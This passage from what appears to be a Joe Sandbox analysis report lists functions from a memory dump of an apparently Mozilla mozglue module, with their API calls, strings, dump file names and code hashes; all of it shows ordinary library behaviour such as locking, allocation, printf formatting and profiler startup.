String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction ID: 72be7f876658cff6d62bdf5daf5ff4cfa071adc8b61d5b6b6fcdee3ae64f8576
Opcode Fuzzy Hash: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction Fuzzy Hash: E651A071A047018FD364CF29C49465AB7F1EF89704F558E2ED59AC7B84D770E840CB6A

Function 6C6A4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6A4721

Strings

-%llu, xrefs: 6C6A4733
., xrefs: 6C6A476A
profiler-paused, xrefs: 6C6A46E4

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 7c47c857322daacc010ec0f4dd803b779c30a42292451004a68c6c0cc5d1a5bb
Instruction ID: d9b877f844518185a66eb8317f8e241a0f0eb0060e8744db4597b5dc4e61bef9
Opcode Fuzzy Hash: 7c47c857322daacc010ec0f4dd803b779c30a42292451004a68c6c0cc5d1a5bb
Instruction Fuzzy Hash: 37418971E047089BCB08CFB9D88116EBBF5EF86744F10863DE85957B41EB70E841874A

Function 6C6C9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C6C985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C6C987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C6C98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C6C98D9

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 132a496e17e16a690cb7d99c3f3fb1f13823582104f041d35db6d3516b5756ce
Instruction ID: 84c184053eb01ea360ad2783384926cf2274fa4c0e4429a66cb157956828c49a
Opcode Fuzzy Hash: 132a496e17e16a690cb7d99c3f3fb1f13823582104f041d35db6d3516b5756ce
Instruction Fuzzy Hash: 6F310871B001086BDB14AF59DC445EE77B9DF85718F50842DEA0A9BB40DB71A904CBEE

Function 6C6A46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6A4721

Part of subcall function 6C654410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C693EBD,00000017,?,00000000,?,6C693EBD,?,?,6C6542D2), ref: 6C654444

Strings

-%llu, xrefs: 6C6A4733
., xrefs: 6C6A476A
profiler-paused, xrefs: 6C6A46E4

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 26b888f47b694df7ae51fe5d885ae943c1e72917b37d5a576de09379f6fa01ae
Instruction ID: ee623ee0f79995db137349a269ed70c0a4b22cc15c8904805aa0d65b05339753
Opcode Fuzzy Hash: 26b888f47b694df7ae51fe5d885ae943c1e72917b37d5a576de09379f6fa01ae
Instruction Fuzzy Hash: 49312A71F042085BCB08CFADDC812ADBBE6DB89314F55813DE8059BB41EBB0DD058B99

Function 6C6AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6AB127), ref: 6C6AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C6AB4E4

Strings

pid:, xrefs: 6C6AB4DE

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction ID: 08c90ab0690d7f8403227b0f2834ab55f99ceeb46082f2b9e9c56eb2096e64bc
Opcode Fuzzy Hash: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction Fuzzy Hash: E431E031A0120C9FDB00DFEAD880AEEB7B5FF85318F540529D81267A45D732AD46CBA9

Function 6C66BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C6B7A3F), ref: 6C66BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C6B7A3F), ref: 6C66BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C6B7A3F), ref: 6C66BF7E

Strings

ll, xrefs: 6C66BF84

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: ll
API String ID: 4279176481-422694604
Opcode ID: 9df5228b65a0eff3ddc44577ae6d394cb1355ee277eae887838cd46532bb6328
Instruction ID: acc39dd28e06e19247f79fe10d4894abeff6178b15d653ae20e437cdaa2bc3a2
Opcode Fuzzy Hash: 9df5228b65a0eff3ddc44577ae6d394cb1355ee277eae887838cd46532bb6328
Instruction Fuzzy Hash: 6611BF793016048FC729CF0CD599926FBF8FB59308355885DE98A8B754C731F800CB99

Function 6C69E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69E577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E584
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C69E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C69E722, 6C69E750, 6C69E7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C69E777
MOZ_PROFILER_STARTUP, xrefs: 6C69E5A1, 6C69E5CC, 6C69E5FF, 6C69E62A
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C69E826, 6C69E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C69E655

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction ID: 8c3d27a3f7cef48c4ed5c2157a3c3fed9863bba23175123dc71420e2c82529b7
Opcode Fuzzy Hash: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction Fuzzy Hash: 4111AD31A04258DFCB009F16C888B6ABBB4FFC9329F050A19E84587651D774B805CFDE

Function 6C6A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0CD5

Part of subcall function 6C68F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C68F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0D40
free.MOZGLUE ref: 6C6A0DCB

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

free.MOZGLUE ref: 6C6A0DDD
free.MOZGLUE ref: 6C6A0DF2

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction ID: 0744bd5b5f7c2c126cec454ca987b28fa44c9ec751ffde8c5b25c6819782081d
Opcode Fuzzy Hash: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction Fuzzy Hash: 154139719087809BD320DF29C08079AFBE5BFC9714F118A2EE9D987750D770A846CB9B

Function 6C690800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C690838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C69084C
EnterCriticalSection.KERNEL32(?), ref: 6C6908AF
LeaveCriticalSection.KERNEL32(?), ref: 6C6908BD
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C6908D5

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 1b213696630c9b1e99bd03d16a7ce02d416ba33bdca5681bf5c8060b1001ba7a
Instruction ID: 0c2d6e11bd8e05ad90fa341da736fe2338653d600f94c2358b24497550ac1e29
Opcode Fuzzy Hash: 1b213696630c9b1e99bd03d16a7ce02d416ba33bdca5681bf5c8060b1001ba7a
Instruction Fuzzy Hash: E121B031B0524A9BEF048F66D884BAEB379AF89708F500529D909A7A40DB31A804CBDC

Function 6C6ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDA4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD158
Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDC4

Part of subcall function 6C6A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6B15FC,?,?,?,?,6C6B15FC,?), ref: 6C6A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACECC

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

Part of subcall function 6C69CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C6ACEEA,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000), ref: 6C69CB57
Part of subcall function 6C69CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C69CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C6ACEEA,?,?), ref: 6C69CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD058

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction ID: 7f1d13926e85e4132c53c4f335a1232c33e1e35778ffcb01c90bc5c865becd05
Opcode Fuzzy Hash: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction Fuzzy Hash: 2FD16F71A04B469FD708CF28C480B99F7E1BF89308F01866DD95987712EB31B9A6CBC5

Function 6C661720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C6617B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C6618EE
free.MOZGLUE(?), ref: 6C661911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66194C

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 4d6977340a6f6fe6efc0984376a74d4ba1fd2b4cbdbf62842cd540a28156e1bd
Instruction ID: 179c7417f028dbd7f031db162d738cad369d2a3ff8023aed4c3d2a6ad5f0b6d2
Opcode Fuzzy Hash: 4d6977340a6f6fe6efc0984376a74d4ba1fd2b4cbdbf62842cd540a28156e1bd
Instruction Fuzzy Hash: 7781D670A112059FCB08CF69D8D49EEBBB1FF89314F04462CE815ABB54D730E854CBA6

Function 6C675C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C675D40
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67
__aulldiv.LIBCMT ref: 6C675DB4
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction ID: d33b4dba655bb99291579b5ea7e7ad6204471695016f9aad492d62ec9b1b7e3c
Opcode Fuzzy Hash: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction Fuzzy Hash: 89518F71E001698FCF08CF69C994AAEBBF1FB85304F198A5DD811A7B50C7307945CB99

Function 6C65CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C65CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C65CF4E

Strings

0, xrefs: 6C65CF30

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction ID: e54310c26906e80553e8d3bb2d46e827d1f78c5d19c18f1187dfef5d907545ba
Opcode Fuzzy Hash: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction Fuzzy Hash: 9D511475A002568FCB00CF18C890A9AFBB5EF99300F29859DD95A5F351D731ED16CBE0

Function 6C6B77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C6B7829

Part of subcall function 6C68CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C6531A7), ref: 6C68CC45
Part of subcall function 6C68CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C6531A7), ref: 6C68CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6B789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6B78CF

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: df43c189fb2575bf45509e53df294fa891792ee3766543de59c7504d5b50fbb5
Instruction ID: d3f0341d97344c7fab9b808fa05ab6429bc07e170ace8f1b0d0d35edb21e3181
Opcode Fuzzy Hash: df43c189fb2575bf45509e53df294fa891792ee3766543de59c7504d5b50fbb5
Instruction Fuzzy Hash: DC41AF719047469BD300DF29C48056AFBF4FFCA254F604A2DE4A987680DB70E569CBDA

Function 6C696470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6982BC,?,?), ref: 6C69649B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6964A9

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69653F
free.MOZGLUE(?), ref: 6C69655A

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction ID: 98cb846002616a141ddfcc5cd91472c026677bdcc18c31a34d08c92d525b97ac
Opcode Fuzzy Hash: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction Fuzzy Hash: 223161B5A04305AFD740CF15D88469AB7E4FF89314F00482EE85A97751DB34E919CBDA

Function 6C68FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?), ref: 6C68FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?), ref: 6C68FFF5
free.MOZGLUE(?,?,?,?,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?), ref: 6C69001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?), ref: 6C69002A

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 6e5aa073797d7d876b8773fd94e27cf2afcdcd09d44f6c7b0746d2ffe094adce
Instruction ID: ab8644dd52d9a0ae1aaae7a340cb17cfe20e0a68e28e3f1cbf24ed06b9935492
Opcode Fuzzy Hash: 6e5aa073797d7d876b8773fd94e27cf2afcdcd09d44f6c7b0746d2ffe094adce
